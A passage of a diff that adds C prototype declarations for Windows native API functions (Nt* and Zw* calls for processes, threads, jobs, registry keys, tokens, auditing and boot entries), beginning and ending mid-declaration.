POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtQuerySymbolicLinkObject ( + _In_ HANDLE LinkHandle, + _In_ _Out_ PUNICODE_STRING LinkTarget, + _Out_ PULONG ReturnedLength + ); + + +NTSTATUS +NTAPI +NtGetPlugPlayEvent ( + _In_ HANDLE EventHandle, + _In_ OPTIONAL PVOID Context, + _Out_ PPLUGPLAY_EVENT_BLOCK EventBlock, + _In_ ULONG EventBufferSize + ); + + +NTSTATUS +NTAPI +NtPlugPlayControl( + _In_ PLUGPLAY_CONTROL_CLASS PnPControlClass, + _In_ _Out_ PVOID PnPControlData, + _In_ ULONG PnPControlDataLength + ); + + +NTSTATUS +NTAPI +NtPowerInformation( + _In_ POWER_INFORMATION_LEVEL InformationLevel, + _In_ OPTIONAL PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_ OPTIONAL PVOID OutputBuffer, + _In_ ULONG OutputBufferLength + ); + + +NTSTATUS +NTAPI +NtSetThreadExecutionState( + _In_ EXECUTION_STATE esFlags, // ES_xxx flags + _Out_ EXECUTION_STATE *PreviousFlags + ); + + +NTSTATUS +NTAPI +NtRequestWakeupLatency( + _In_ LATENCY_TIME latency + ); + + +// NTSTATUS +// NTAPI +// NtInitiatePowerAction( +// _In_ POWER_ACTION SystemAction, +// _In_ SYSTEM_POWER_STATE MinSystemState, +// _In_ ULONG Flags, // POWER_ACTION_xxx flags +// _In_ BOOLEAN Asynchronous +// ); + + +// NTSTATUS +// NTAPI +// NtSetSystemPowerState( +// _In_ POWER_ACTION SystemAction, +// _In_ SYSTEM_POWER_STATE MinSystemState, +// _In_ ULONG Flags // POWER_ACTION_xxx flags +// ); + + +// NTSTATUS +// NTAPI +// NtGetDevicePowerState( +// _In_ HANDLE Device, +// _Out_ DEVICE_POWER_STATE *State +// ); + + +NTSTATUS +NTAPI +NtCancelDeviceWakeupRequest( + _In_ HANDLE Device + ); + + +NTSTATUS +NTAPI +NtRequestDeviceWakeup( + _In_ HANDLE Device + ); + + +NTSTATUS +NTAPI +NtCreateProcess ( + _Out_ PHANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ParentProcess, + _In_ BOOLEAN InheritObjectTable, + _In_ OPTIONAL HANDLE SectionHandle, + _In_ OPTIONAL HANDLE DebugPort, + _In_ OPTIONAL HANDLE ExceptionPort + ); + + +NTSTATUS +NTAPI +NtCreateProcessEx( + _Out_ PHANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ParentProcess, + _In_ ULONG Flags, + _In_ OPTIONAL HANDLE SectionHandle, + _In_ OPTIONAL HANDLE DebugPort, + _In_ OPTIONAL HANDLE ExceptionPort, + _In_ ULONG JobMemberLevel + ); + + +NTSTATUS +NTAPI +NtOpenProcess ( + _Out_ PHANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ OPTIONAL PCLIENT_ID ClientId + ); + + +NTSTATUS +NTAPI +NtTerminateProcess ( + _In_ OPTIONAL HANDLE ProcessHandle, + _In_ NTSTATUS ExitStatus + ); + + +NTSTATUS +NTAPI +NtQueryInformationProcess ( + _In_ HANDLE ProcessHandle, + _In_ PROCESSINFOCLASS ProcessInformationClass, + _Out_ PVOID ProcessInformation, + _In_ ULONG ProcessInformationLength, + _Out_ OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtGetNextProcess ( + _In_ HANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ ULONG HandleAttributes, + _In_ ULONG Flags, + _Out_ PHANDLE NewProcessHandle + ); + + +NTSTATUS +NTAPI +NtGetNextThread ( + _In_ HANDLE ProcessHandle, + _In_ HANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ ULONG HandleAttributes, + _In_ ULONG Flags, + _Out_ PHANDLE NewThreadHandle + ); + + +NTSTATUS +NTAPI +NtQueryPortInformationProcess ( + VOID + ); + + +NTSTATUS +NTAPI +NtSetInformationProcess ( + _In_ HANDLE ProcessHandle, + _In_ PROCESSINFOCLASS ProcessInformationClass, + _In_ PVOID ProcessInformation, + _In_ ULONG ProcessInformationLength + ); + + +NTSTATUS +NTAPI +NtCreateThread ( + _Out_ PHANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ProcessHandle, + _Out_ PCLIENT_ID ClientId, + _In_ PCONTEXT ThreadContext, + _In_ PINITIAL_TEB InitialTeb, + _In_ BOOLEAN CreateSuspended + ); + + +NTSTATUS +NTAPI +NtOpenThread ( + _Out_ PHANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ OPTIONAL PCLIENT_ID ClientId + ); + + +NTSTATUS +NTAPI +NtTerminateThread ( + _In_ OPTIONAL HANDLE ThreadHandle, + _In_ NTSTATUS ExitStatus + ); + + +NTSTATUS +NTAPI +NtSuspendThread ( + _In_ HANDLE ThreadHandle, + _Out_ OPTIONAL PULONG PreviousSuspendCount + ); + + +NTSTATUS +NTAPI +NtResumeThread ( + _In_ HANDLE ThreadHandle, + _Out_ OPTIONAL PULONG PreviousSuspendCount + ); + + +NTSTATUS +NTAPI +NtSuspendProcess ( + HANDLE ProcessHandle + ); + + +NTSTATUS +NTAPI +NtResumeProcess ( + _In_ HANDLE ProcessHandle + ); + + +NTSTATUS +NTAPI +NtGetContextThread ( + _In_ HANDLE ThreadHandle, + _In_ _Out_ PCONTEXT ThreadContext + ); + + +NTSTATUS +NTAPI +NtSetContextThread ( + _In_ HANDLE ThreadHandle, + _In_ PCONTEXT ThreadContext + ); + + +NTSTATUS +NTAPI +NtQueryInformationThread ( + _In_ HANDLE ThreadHandle, + _In_ THREADINFOCLASS ThreadInformationClass, + _Out_ PVOID ThreadInformation, + _In_ ULONG ThreadInformationLength, + _Out_ OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtSetInformationThread ( + _In_ HANDLE ThreadHandle, + _In_ THREADINFOCLASS ThreadInformationClass, + _In_ PVOID ThreadInformation, + _In_ ULONG ThreadInformationLength + ); + + +NTSTATUS +NTAPI +NtAlertThread ( + _In_ HANDLE ThreadHandle + ); + + +NTSTATUS +NTAPI +NtAlertResumeThread ( + _In_ HANDLE ThreadHandle, + _Out_ OPTIONAL PULONG PreviousSuspendCount + ); + + +NTSTATUS +NTAPI +NtImpersonateThread ( + _In_ HANDLE ServerThreadHandle, + _In_ HANDLE ClientThreadHandle, + _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos + ); + + +NTSTATUS +NTAPI +NtTestAlert ( + VOID + ); + + +NTSTATUS +NTAPI +NtRegisterThreadTerminatePort ( + _In_ HANDLE PortHandle + ); + + +NTSTATUS +NTAPI +NtSetLdtEntries ( + _In_ ULONG Selector0, + _In_ ULONG Entry0Low, + _In_ ULONG Entry0Hi, + _In_ ULONG Selector1, + _In_ ULONG Entry1Low, + _In_ ULONG Entry1Hi + ); + + +NTSTATUS +NTAPI +NtQueueApcThread ( + _In_ HANDLE ThreadHandle, + _In_ PPS_APC_ROUTINE ApcRoutine, + _In_ OPTIONAL PVOID ApcArgument1, + _In_ OPTIONAL PVOID ApcArgument2, + _In_ OPTIONAL PVOID ApcArgument3 + ); + + +NTSTATUS +NTAPI +NtCreateJobObject ( + _Out_ PHANDLE JobHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtOpenJobObject ( + _Out_ PHANDLE JobHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtAssignProcessToJobObject ( + _In_ HANDLE JobHandle, + _In_ HANDLE ProcessHandle + ); + + +NTSTATUS +NTAPI +NtTerminateJobObject ( + _In_ HANDLE JobHandle, + _In_ NTSTATUS ExitStatus + ); + + +NTSTATUS +NTAPI +NtIsProcessInJob ( + _In_ HANDLE ProcessHandle, + _In_ OPTIONAL HANDLE JobHandle + ); + + +NTSTATUS +NTAPI +NtCreateJobSet ( + _In_ ULONG NumJob, + _In_ PJOB_SET_ARRAY UserJobSet, + _In_ ULONG Flags + ); + + +NTSTATUS +NTAPI +NtQueryInformationJobObject ( + _In_ OPTIONAL HANDLE JobHandle, + _In_ JOBOBJECTINFOCLASS JobObjectInformationClass, + _Out_ PVOID JobObjectInformation, + _In_ ULONG JobObjectInformationLength, + _Out_ OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtSetInformationJobObject ( + _In_ HANDLE JobHandle, + _In_ JOBOBJECTINFOCLASS JobObjectInformationClass, + _In_ PVOID JobObjectInformation, + _In_ ULONG JobObjectInformationLength + ); + + +NTSTATUS +NTAPI +NtCreateKey( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + ULONG TitleIndex, + _In_ OPTIONAL PUNICODE_STRING Class, + _In_ ULONG CreateOptions, + _Out_ OPTIONAL PULONG Disposition + ); + + +NTSTATUS +NTAPI +NtDeleteKey( + _In_ HANDLE KeyHandle + ); + + +NTSTATUS +NTAPI +NtDeleteValueKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING ValueName + ); + + +NTSTATUS +NTAPI +NtEnumerateKey( + _In_ HANDLE KeyHandle, + _In_ ULONG Index, + _In_ KEY_INFORMATION_CLASS KeyInformationClass, + _Out_ OPTIONAL PVOID KeyInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength + ); + + +NTSTATUS +NTAPI +NtEnumerateValueKey( + _In_ HANDLE KeyHandle, + _In_ ULONG Index, + _In_ KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, + _Out_ OPTIONAL PVOID KeyValueInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength + ); + + +NTSTATUS +NTAPI +NtFlushKey( + _In_ HANDLE KeyHandle + ); + + +NTSTATUS +NTAPI +NtInitializeRegistry( + _In_ USHORT BootCondition + ); + + +NTSTATUS +NTAPI +NtNotifyChangeKey( + _In_ HANDLE KeyHandle, + _In_ OPTIONAL HANDLE Event, + _In_ OPTIONAL PIO_APC_ROUTINE ApcRoutine, + _In_ OPTIONAL PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG CompletionFilter, + _In_ BOOLEAN WatchTree, + _Out_ OPTIONAL PVOID Buffer, + _In_ ULONG BufferSize, + _In_ BOOLEAN Asynchronous + ); + + +NTSTATUS +NTAPI +NtNotifyChangeMultipleKeys( + _In_ HANDLE MasterKeyHandle, + _In_ OPTIONAL ULONG Count, + _In_ OPTIONAL OBJECT_ATTRIBUTES SlaveObjects[], + _In_ OPTIONAL HANDLE Event, + _In_ OPTIONAL PIO_APC_ROUTINE ApcRoutine, + _In_ OPTIONAL PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG CompletionFilter, + _In_ BOOLEAN WatchTree, + _Out_ OPTIONAL PVOID Buffer, + _In_ ULONG BufferSize, + _In_ BOOLEAN Asynchronous + ); + + +NTSTATUS +NTAPI +NtLoadKey( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ POBJECT_ATTRIBUTES SourceFile + ); + + +NTSTATUS +NTAPI +NtLoadKey2( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ POBJECT_ATTRIBUTES SourceFile, + _In_ ULONG Flags + ); + + +NTSTATUS +NTAPI +NtLoadKeyEx( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ POBJECT_ATTRIBUTES SourceFile, + _In_ ULONG Flags, + _In_ OPTIONAL HANDLE TrustClassKey + ); + + +NTSTATUS +NTAPI +NtOpenKey( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtQueryKey( + _In_ HANDLE KeyHandle, + _In_ KEY_INFORMATION_CLASS KeyInformationClass, + _Out_ OPTIONAL PVOID KeyInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength + ); + + +NTSTATUS +NTAPI +NtQueryValueKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING ValueName, + _In_ KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, + _Out_ OPTIONAL PVOID KeyValueInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength + ); + + +NTSTATUS +NTAPI +NtQueryMultipleValueKey( + _In_ HANDLE KeyHandle, + _In_ _Out_ PKEY_VALUE_ENTRY ValueEntries, + _In_ ULONG EntryCount, + _Out_ PVOID ValueBuffer, + _In_ _Out_ PULONG BufferLength, + _Out_ OPTIONAL PULONG RequiredBufferLength + ); + + +NTSTATUS +NTAPI +NtReplaceKey( + _In_ POBJECT_ATTRIBUTES NewFile, + _In_ HANDLE TargetHandle, + _In_ POBJECT_ATTRIBUTES OldFile + ); + + +NTSTATUS +NTAPI +NtRenameKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING NewName + ); + + +NTSTATUS +NTAPI +NtCompactKeys( + _In_ ULONG Count, + _In_ HANDLE KeyArray[] + ); + + +NTSTATUS +NTAPI +NtCompressKey( + _In_ HANDLE Key + ); + + +NTSTATUS +NTAPI +NtRestoreKey( + _In_ HANDLE KeyHandle, + _In_ HANDLE FileHandle, + _In_ ULONG Flags + ); + + +NTSTATUS +NTAPI +NtSaveKey( + _In_ HANDLE KeyHandle, + _In_ HANDLE FileHandle + ); + + +NTSTATUS +NTAPI +NtSaveKeyEx( + _In_ HANDLE KeyHandle, + _In_ HANDLE FileHandle, + _In_ ULONG Format + ); + + +NTSTATUS +NTAPI +NtSaveMergedKeys( + _In_ HANDLE HighPrecedenceKeyHandle, + _In_ HANDLE LowPrecedenceKeyHandle, + _In_ HANDLE FileHandle + ); + + +NTSTATUS +NTAPI +NtSetValueKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING ValueName, + _In_ OPTIONAL ULONG TitleIndex, + _In_ ULONG Type, + _In_ OPTIONAL PVOID Data, + _In_ ULONG DataSize + ); + + +NTSTATUS +NTAPI +NtUnloadKey( + _In_ POBJECT_ATTRIBUTES TargetKey + ); + + +NTSTATUS +NTAPI +NtUnloadKey2( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ ULONG Flags + ); + + +NTSTATUS +NTAPI +NtUnloadKeyEx( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ OPTIONAL HANDLE Event + ); + + +NTSTATUS +NTAPI +NtSetInformationKey( + _In_ HANDLE KeyHandle, + _In_ KEY_SET_INFORMATION_CLASS KeySetInformationClass, + _In_ PVOID KeySetInformation, + _In_ ULONG KeySetInformationLength + ); + + +NTSTATUS +NTAPI +NtQueryOpenSubKeys( + _In_ POBJECT_ATTRIBUTES TargetKey, + _Out_ PULONG HandleCount + ); + + +NTSTATUS +NTAPI +NtQueryOpenSubKeysEx( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ ULONG BufferLength, + _Out_ PVOID Buffer, + _Out_ PULONG RequiredSize + ); + + +NTSTATUS +NTAPI +NtLockRegistryKey( + _In_ HANDLE KeyHandle + ); + + +NTSTATUS +NTAPI +NtLockProductActivationKeys( + _In_ _Out_ OPTIONAL ULONG *pPrivateVer, + _Out_ OPTIONAL ULONG *pSafeMode + ); + + +NTSTATUS +NTAPI +NtAccessCheck ( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ HANDLE ClientToken, + _In_ ACCESS_MASK DesiredAccess, + _In_ PGENERIC_MAPPING GenericMapping, + _Out_ PPRIVILEGE_SET PrivilegeSet, + _In_ _Out_ PULONG PrivilegeSetLength, + _Out_ PACCESS_MASK GrantedAccess, + _Out_ PNTSTATUS AccessStatus + ); + + +NTSTATUS +NTAPI +NtAccessCheckByType ( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ OPTIONAL PSID PrincipalSelfSid, + _In_ HANDLE ClientToken, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_TYPE_LIST ObjectTypeList, + _In_ ULONG ObjectTypeListLength, + _In_ PGENERIC_MAPPING GenericMapping, + _Out_ PPRIVILEGE_SET PrivilegeSet, + _In_ _Out_ PULONG PrivilegeSetLength, + _Out_ PACCESS_MASK GrantedAccess, + _Out_ PNTSTATUS AccessStatus + ); + + +NTSTATUS +NTAPI +NtAccessCheckByTypeResultList ( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ OPTIONAL PSID PrincipalSelfSid, + _In_ HANDLE ClientToken, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_TYPE_LIST ObjectTypeList, + _In_ ULONG ObjectTypeListLength, + _In_ PGENERIC_MAPPING GenericMapping, + _Out_ PPRIVILEGE_SET PrivilegeSet, + _In_ _Out_ PULONG PrivilegeSetLength, + _Out_ PACCESS_MASK GrantedAccess, + _Out_ PNTSTATUS AccessStatus + ); + + +NTSTATUS +NTAPI +NtCreateToken( + _Out_ PHANDLE TokenHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + _In_ TOKEN_TYPE TokenType, + _In_ PLUID AuthenticationId, + _In_ PLARGE_INTEGER ExpirationTime, + _In_ PTOKEN_USER User, + _In_ PTOKEN_GROUPS Groups, + _In_ PTOKEN_PRIVILEGES Privileges, + _In_ OPTIONAL PTOKEN_OWNER Owner, + _In_ PTOKEN_PRIMARY_GROUP PrimaryGroup, + _In_ OPTIONAL PTOKEN_DEFAULT_DACL DefaultDacl, + _In_ PTOKEN_SOURCE TokenSource + ); + + +NTSTATUS +NTAPI +NtCompareTokens( + _In_ HANDLE FirstTokenHandle, + _In_ HANDLE SecondTokenHandle, + _Out_ PBOOLEAN Equal + ); + + +NTSTATUS +NTAPI +NtOpenThreadToken( + _In_ HANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ BOOLEAN OpenAsSelf, + _Out_ PHANDLE TokenHandle + ); + + +NTSTATUS +NTAPI +NtOpenThreadTokenEx( + _In_ HANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ BOOLEAN OpenAsSelf, + _In_ ULONG HandleAttributes, + _Out_ PHANDLE TokenHandle + ); + + +NTSTATUS +NTAPI +NtOpenProcessToken( + _In_ HANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _Out_ PHANDLE TokenHandle + ); + + +NTSTATUS +NTAPI +NtOpenProcessTokenEx( + _In_ HANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ ULONG HandleAttributes, + _Out_ PHANDLE TokenHandle + ); + + +NTSTATUS +NTAPI +NtDuplicateToken( + _In_ HANDLE ExistingTokenHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ BOOLEAN EffectiveOnly, + _In_ TOKEN_TYPE TokenType, + _Out_ PHANDLE NewTokenHandle + ); + + +NTSTATUS +NTAPI +NtFilterToken ( + _In_ HANDLE ExistingTokenHandle, + _In_ ULONG Flags, + _In_ OPTIONAL PTOKEN_GROUPS SidsToDisable, + _In_ OPTIONAL PTOKEN_PRIVILEGES PrivilegesToDelete, + _In_ OPTIONAL PTOKEN_GROUPS RestrictedSids, + _Out_ PHANDLE NewTokenHandle + ); + + +NTSTATUS +NTAPI +NtImpersonateAnonymousToken( + _In_ HANDLE ThreadHandle + ); + + +NTSTATUS +NTAPI +NtQueryInformationToken ( + _In_ HANDLE TokenHandle, + _In_ TOKEN_INFORMATION_CLASS TokenInformationClass, + _Out_ PVOID TokenInformation, + _In_ ULONG TokenInformationLength, + _Out_ PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtSetInformationToken ( + _In_ HANDLE TokenHandle, + _In_ TOKEN_INFORMATION_CLASS TokenInformationClass, + _In_ PVOID TokenInformation, + _In_ ULONG TokenInformationLength + ); + + +NTSTATUS +NTAPI +NtAdjustPrivilegesToken ( + _In_ HANDLE TokenHandle, + _In_ BOOLEAN DisableAllPrivileges, + _In_ OPTIONAL PTOKEN_PRIVILEGES NewState, + _In_ OPTIONAL ULONG BufferLength, + _Out_ PTOKEN_PRIVILEGES PreviousState, + _Out_ OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtAdjustGroupsToken ( + _In_ HANDLE TokenHandle, + _In_ BOOLEAN ResetToDefault, + _In_ PTOKEN_GROUPS NewState , + _In_ OPTIONAL ULONG BufferLength , + _Out_ PTOKEN_GROUPS PreviousState , + _Out_ PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtPrivilegeCheck ( + _In_ HANDLE ClientToken, + _In_ _Out_ PPRIVILEGE_SET RequiredPrivileges, + _Out_ PBOOLEAN Result + ); + + +NTSTATUS +NTAPI +NtAccessCheckAndAuditAlarm ( + _In_ PUNICODE_STRING SubsystemName, + _In_ OPTIONAL PVOID HandleId, + _In_ PUNICODE_STRING ObjectTypeName, + _In_ PUNICODE_STRING ObjectName, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ ACCESS_MASK DesiredAccess, + _In_ PGENERIC_MAPPING GenericMapping, + _In_ BOOLEAN ObjectCreation, + _Out_ PACCESS_MASK GrantedAccess, + _Out_ PNTSTATUS AccessStatus, + _Out_ PBOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +NtAccessCheckByTypeAndAuditAlarm ( + _In_ PUNICODE_STRING SubsystemName, + _In_ OPTIONAL PVOID HandleId, + _In_ PUNICODE_STRING ObjectTypeName, + _In_ PUNICODE_STRING ObjectName, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ OPTIONAL PSID PrincipalSelfSid, + _In_ ACCESS_MASK DesiredAccess, + _In_ AUDIT_EVENT_TYPE AuditType, + _In_ ULONG Flags, + _In_ POBJECT_TYPE_LIST ObjectTypeList, + _In_ ULONG ObjectTypeListLength, + _In_ PGENERIC_MAPPING GenericMapping, + _In_ BOOLEAN ObjectCreation, + _Out_ PACCESS_MASK GrantedAccess, + _Out_ PNTSTATUS AccessStatus, + _Out_ PBOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +NtAccessCheckByTypeResultListAndAuditAlarm ( + _In_ PUNICODE_STRING SubsystemName, + _In_ OPTIONAL PVOID HandleId, + _In_ PUNICODE_STRING ObjectTypeName, + _In_ PUNICODE_STRING ObjectName, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ OPTIONAL PSID PrincipalSelfSid, + _In_ ACCESS_MASK DesiredAccess, + _In_ AUDIT_EVENT_TYPE AuditType, + _In_ ULONG Flags, + _In_ POBJECT_TYPE_LIST ObjectTypeList, + _In_ ULONG ObjectTypeListLength, + _In_ PGENERIC_MAPPING GenericMapping, + _In_ BOOLEAN ObjectCreation, + _Out_ PACCESS_MASK GrantedAccess, + _Out_ PNTSTATUS AccessStatus, + _Out_ PBOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +NtAccessCheckByTypeResultListAndAuditAlarmByHandle ( + _In_ PUNICODE_STRING SubsystemName, + _In_ OPTIONAL PVOID HandleId, + _In_ HANDLE ClientToken, + _In_ PUNICODE_STRING ObjectTypeName, + _In_ PUNICODE_STRING ObjectName, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ OPTIONAL PSID PrincipalSelfSid, + _In_ ACCESS_MASK DesiredAccess, + _In_ AUDIT_EVENT_TYPE AuditType, + _In_ ULONG Flags, + _In_ POBJECT_TYPE_LIST ObjectTypeList, + _In_ ULONG ObjectTypeListLength, + _In_ PGENERIC_MAPPING GenericMapping, + _In_ BOOLEAN ObjectCreation, + _Out_ PACCESS_MASK GrantedAccess, + _Out_ PNTSTATUS AccessStatus, + _Out_ PBOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +NtOpenObjectAuditAlarm ( + _In_ PUNICODE_STRING SubsystemName, + _In_ OPTIONAL PVOID HandleId, + _In_ PUNICODE_STRING ObjectTypeName, + _In_ PUNICODE_STRING ObjectName, + _In_ OPTIONAL PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ HANDLE ClientToken, + _In_ ACCESS_MASK DesiredAccess, + _In_ ACCESS_MASK GrantedAccess, + _In_ OPTIONAL PPRIVILEGE_SET Privileges, + _In_ BOOLEAN ObjectCreation, + _In_ BOOLEAN AccessGranted, + _Out_ PBOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +NtPrivilegeObjectAuditAlarm ( + _In_ PUNICODE_STRING SubsystemName, + _In_ OPTIONAL PVOID HandleId, + _In_ HANDLE ClientToken, + _In_ ACCESS_MASK DesiredAccess, + _In_ PPRIVILEGE_SET Privileges, + _In_ BOOLEAN AccessGranted + ); + + +NTSTATUS +NTAPI +NtCloseObjectAuditAlarm ( + _In_ PUNICODE_STRING SubsystemName, + _In_ OPTIONAL PVOID HandleId, + _In_ BOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +NtDeleteObjectAuditAlarm ( + _In_ PUNICODE_STRING SubsystemName, + _In_ OPTIONAL PVOID HandleId, + _In_ BOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +NtPrivilegedServiceAuditAlarm ( + _In_ PUNICODE_STRING SubsystemName, + _In_ PUNICODE_STRING ServiceName, + _In_ HANDLE ClientToken, + _In_ PPRIVILEGE_SET Privileges, + _In_ BOOLEAN AccessGranted + ); + + +NTSTATUS +NTAPI +NtContinue ( + _In_ PCONTEXT ContextRecord, + _In_ BOOLEAN TestAlert + ); + + +NTSTATUS +NTAPI +NtRaiseException ( + _In_ PEXCEPTION_RECORD ExceptionRecord, + _In_ PCONTEXT ContextRecord, + _In_ BOOLEAN FirstChance + ); + +// end_ntapi + + +// begin_zwapi +NTSTATUS +NTAPI +ZwDelayExecution ( + _In_ BOOLEAN Alertable, + _In_ PLARGE_INTEGER DelayInterval + ); + + + +NTSTATUS +NTAPI +ZwQuerySystemEnvironmentValue ( + _In_ PUNICODE_STRING VariableName, + _Out_ PWSTR VariableValue, + _In_ USHORT ValueLength, + _Out_ OPTIONAL PUSHORT ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwSetSystemEnvironmentValue ( + _In_ PUNICODE_STRING VariableName, + _In_ PUNICODE_STRING VariableValue + ); + + + +NTSTATUS +NTAPI +ZwQuerySystemEnvironmentValueEx ( + _In_ PUNICODE_STRING VariableName, + _In_ LPGUID VendorGuid, + _Out_ OPTIONAL PVOID Value, + _In_ _Out_ PULONG ValueLength, + _Out_ OPTIONAL PULONG Attributes + ); + + + +NTSTATUS +NTAPI +ZwSetSystemEnvironmentValueEx ( + _In_ PUNICODE_STRING VariableName, + _In_ LPGUID VendorGuid, + _In_ OPTIONAL PVOID Value, + _In_ ULONG ValueLength, + _In_ ULONG Attributes + ); + + + +NTSTATUS +NTAPI +ZwEnumerateSystemEnvironmentValuesEx ( + _In_ ULONG InformationClass, + _Out_ PVOID Buffer, + _In_ _Out_ PULONG BufferLength + ); + + + +NTSTATUS +NTAPI +ZwAddBootEntry ( + _In_ PBOOT_ENTRY BootEntry, + _Out_ OPTIONAL PULONG Id + ); + + + +NTSTATUS +NTAPI +ZwDeleteBootEntry ( + _In_ ULONG Id + ); + + + +NTSTATUS +NTAPI +ZwModifyBootEntry ( + _In_ PBOOT_ENTRY BootEntry + ); + + + +NTSTATUS +NTAPI +ZwEnumerateBootEntries ( + _Out_ OPTIONAL PVOID Buffer, + _In_ _Out_ PULONG BufferLength + ); + + + +NTSTATUS +NTAPI +ZwQueryBootEntryOrder ( + _Out_ OPTIONAL PULONG Ids, + _In_ _Out_ PULONG Count + ); + + + +NTSTATUS +NTAPI +ZwSetBootEntryOrder ( + _In_ PULONG Ids, + _In_ ULONG Count + ); + + + +NTSTATUS +NTAPI +ZwQueryBootOptions ( + _Out_ OPTIONAL PBOOT_OPTIONS BootOptions, + _In_ _Out_ PULONG BootOptionsLength + ); + + + +NTSTATUS +NTAPI +ZwSetBootOptions ( + _In_ PBOOT_OPTIONS BootOptions, + _In_ ULONG FieldsToChange + ); + + + +NTSTATUS +NTAPI +ZwTranslateFilePath ( + _In_ PFILE_PATH InputFilePath, + _In_ ULONG OutputType, + _Out_ OPTIONAL PFILE_PATH OutputFilePath, + _In_ _Out_ OPTIONAL PULONG OutputFilePathLength + ); + + + +NTSTATUS +NTAPI +ZwAddDriverEntry ( + _In_ PEFI_DRIVER_ENTRY DriverEntry, + _Out_ OPTIONAL PULONG Id + ); + + + +NTSTATUS +NTAPI +ZwDeleteDriverEntry ( + _In_ ULONG Id + ); + + + +NTSTATUS +NTAPI +ZwModifyDriverEntry ( + _In_ PEFI_DRIVER_ENTRY DriverEntry + ); + + + +NTSTATUS +NTAPI +ZwEnumerateDriverEntries ( + _Out_ PVOID Buffer, + _In_ _Out_ PULONG BufferLength + ); + + + +NTSTATUS +NTAPI +ZwQueryDriverEntryOrder ( + _Out_ PULONG Ids, + _In_ _Out_ PULONG Count + ); + + + +NTSTATUS +NTAPI +ZwSetDriverEntryOrder ( + _In_ PULONG Ids, + _In_ ULONG Count + ); + + + +NTSTATUS +NTAPI +ZwClearEvent ( + _In_ HANDLE EventHandle + ); + + + +NTSTATUS +NTAPI +ZwCreateEvent ( + _Out_ 